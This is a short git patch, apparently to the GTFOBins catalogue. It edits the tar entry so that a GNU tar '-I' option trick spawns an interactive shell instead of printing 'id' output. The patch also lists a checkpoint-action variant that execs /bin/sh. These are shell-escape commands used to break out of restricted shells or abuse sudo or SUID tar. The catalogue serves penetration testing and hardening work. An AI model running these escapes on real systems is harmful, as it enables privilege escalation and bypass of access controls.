From a7818d5f1605af6d218141e63590ea9b7a7a7c94 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 21 Oct 2018 11:56:24 +0200 Subject: [PATCH] Promote tar command to interactive shell --- _gtfobins/tar.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index 43e701a..31ee56a 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -2,9 +2,8 @@ functions: shell: - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh - command: - description: This only works for GNU tar. - code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"' + code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"' file-write: - description: This only works for GNU tar. code: |